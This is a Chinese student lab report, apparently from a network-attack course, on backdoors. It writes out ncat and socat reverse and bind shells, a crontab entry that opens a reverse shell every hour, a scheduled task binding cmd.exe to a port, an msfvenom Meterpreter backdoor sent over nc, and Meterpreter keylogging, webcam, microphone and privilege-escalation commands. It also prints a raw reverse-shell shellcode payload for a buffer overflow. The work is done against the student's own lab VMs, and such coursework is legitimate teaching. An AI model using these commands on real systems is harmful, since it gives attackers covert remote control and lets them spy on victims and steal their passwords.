zoukankan      html  css  js  c++  java
  • 202020212 网络对抗技术 20181321 Exp2 后门原理与实践

    2020-2021-2 网络对抗技术 20181321 Exp2 后门原理与实践

    一、基础问题回答

    • (1)例举你能想到的一个后门进入到你系统中的可能方式?

      答:在一些不正规网站的下载东西(或者破解版软件),虽然破解版软件能够正常使用,但根据对齐粒度,攻击者可以把后门陈程序写作一些00的代码区。

    • (2)例举你知道的后门如何启动起来(win及linux)的方式?

      答:自启动项,,运行注入shellcode程序,通过crontab。

    • (3)Meterpreter有哪些给你映像深刻的功能?

      答:可以截屏,以及可以通过指令来截取你的敲击过程,从而套取密码。控制摄像头,进行录像。进行录音

    • (4)如何发现自己有系统有没有被安装后门?

      答案:可以杀毒软件,查看端口运行情况。

    二、常用的后门工具

    netcat

    WIndows获得Linux Shell

    • 在Windows下使用ipconfig查看本机IP 172.30.7.239

    • 在Window输入命令ncat.exe -l -p 8181进行监听

    • 在在kali中反弹连接Windows,ncat 172.30.7.239 8181 -e /bin/sh,使用-e选项执行shell程序

    • Windows获得Kali的shell

    Linux获得Windows Shell

    • 在kali下使用ifconfig查看本机IP 192.168.231.133

    • 在kali输入命令ncat.exe -l -p 8181进行监听

    • 在在Windows中反弹连接Windows,ncat.exe 192.168.231.133 8181 -e /bin/sh,使用-e选项执行shell程序

    • kali获得Windows的shell

    使用nc,Windows和Kali互相传输数据

    • Windows下监听8181端口,ncat.exe -l 8181`

    • kali反弹连接到Windows的5318端口,nc 192.168.231.134 8181

    • 连接建立成功,双方可以相互传输数据

    Meterpreter

    • 后门就是一个程序。
    • 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
      • 基本功能(基本的连接、执行指令),
      • 扩展功能(如搜集用户信息、安装服务等功能),
      • 编码模式,
      • 运行平台,
      • 以及运行参数
      • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
    • 典型的平台就包括有:
      • intersect
      • Metaspolit的msfvenom指令
      • Veil-evasion
        在下面的实验三中我们就用到了Metaspolit的msfvenom指令
    • 参数说明
      • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
      • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
      • -e 使用的编码器,用于对shellcode变形,为了免杀。
      • -i 编码器的迭代次数。如上即使用该编码器编码5次。
      • -b badchar是payload中需要去除的字符。
      • LHOST 是反弹回连的IP
      • LPORT 是回连的端口
      • -f 生成文件的类型
      • > 输出到哪个文件

    三、实验内容

    • (1)使用netcat获取主机操作Shell,cron启动 (0.5分)

    • (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

    • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

    • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (0.5分)

    • (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)

      (后面实验使用的为window 7的虚拟机)

    实验一:使用netcat获取主机操作Shell,cron启动

    • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

    • 在Windows系统下,监听8181端口

    • 在kali中,运行crontab -e指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择2(看个人选择)

    • 在最后一行添加26 * * * * /bin/netcat 192.168.231.144 -e /bin/sh,意思是在每个小时的第26分钟反向连接Windows主机的8181端口,设置成6的原因是我的时间是21点04分,所以为了出现效果,所以设置为6

    实验二:使用socat获取主机操作Shell, 任务计划启动

    • socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。

    • 打开win7的>计算机管理,点击>任务计划程序,点击>创建任务

    • 填写任务名>新建一个触发器,开始任务选为工作站锁定时。(建议可以选其他的,用虚拟机启动锁定时,主机也会锁定)

    • 在编辑操作,选择启动程序,然后选取你socat.exe文件的地址,在添加参数的地方编辑为tcp-listen:8181 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口8181,同时把cmd.exestderr重定向到stdout上了。

    • 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行。

    • 在Kali环境下输入指令socat - tcp:192.168.231.134:8181,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的8181端口,此时可以发现已经成功获得了一个cmd shell。

    实验三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • 在Kali上执行指令
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.231.133 LPORT=8181 -f exe > 20181321_backdoor.exe
    

    ​ 这里的IP地址为liunx的IP地址,所以已经生成后门程序。

    • 在Windows下执行ncat.exe -l 8181 > 20181321_backdoor.exe.

    • 在在Linux中执行nc 192.168.231.134 8181 < 20181321_backdoor.exe

    • 传输后门程序成功。(在window 7上看见后门程序)

    • 在Kali上使用msfconsole指令进入msf控制台

    • 输入use exploit/multi/handler使用监听模块,设置payload

    • 输入set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

    • 输入set LHOST 192.168.231.133,这里用的是LinuxIP,和生成后门程序时指定的IP相同

    • 输入set LPORT 8181,同样要使用相同的端口

    • 设置完成后,执行监听,输入exploit

    • 在window 7 运行后门程序

    • 这个时候,kali与window 7连接,并获得shell

    任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 输入record_mic指令可以截获一段音频,可以用-d选项设置录制时间。

    • 输入webcam_snap指令可以使用摄像头进行拍照。(win 7虚拟机没有摄像头)

    • 输入keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录。

    • 输入screenshot指令可以进行截屏。

    • 输入getuid指令查看当前用户,再输入getsystem指令进行提权(如果要进行提权,需要给你的后门程序进行提取,我是把后门程序命名为installdoor.exe,运行程序是,要求点击确认才能运行,也可以通过别的方式给后面程序的权限提高)。

    实验五可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    • 下载shellcode的代码

    • 然后参考实验一找到shell code的起始地址(注意要关闭地址随机化) 并加在这段shellcode前面,并用其生成in3文件。

      perl -e 'print "A" x 32;print"\x80\xd5\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > in3

    • 然后在另一个终端中打开msfconsole,并打开监听.

      use exploit/multi/handler
      set payload linux/x86/shell_reverse_tcp
      set LHOST 127.0.0.1 
      set LPORT 4444          //这两个都是根据你的shellcode来的
      show options
      exploit
      
    • 在终端上运行(cat in3 ;cat) | ./pwn3并回车

    • 运行成功

    四、实验总结与体会

    • 这次实验,刚刚开始是很蒙的,很多地方都不明白原理,在课上直接做的时候,出现了很多问题。然后课下看视频,把原理搞明白了之后,再做实验就顺利许多了,而且用MSF生成后门程序,然后控制win 7虚拟机,很有新鲜感,截图,录音等操作,都说明了后门程序的不安全,但是是真的很好玩。在实验中,碰到最不爽的情况就是“由于目标计算机积极拒绝,无法连接”这个地方真的很难受。这说明主机的保护还是很好的,我的操作只能在吧防火墙全关了,杀毒软件关了才能运行,只是掌握基础的,水平还是很菜。
  • 相关阅读:
    0x05 排序
    bzoj3032: 七夕祭
    0x04 二分
    bzoj2783: [JLOI2012]树
    bzoj3192: [JLOI2013]删除物品
    bzj1106: [POI2007]立方体大作战tet
    POJ2299Ultra-QuickSort
    POJ3080Blue Jeans
    POJ3253Babelfish
    POJ1611The Suspects
  • 原文地址:https://www.cnblogs.com/qbll/p/14589210.html
Copyright © 2011-2022 走看看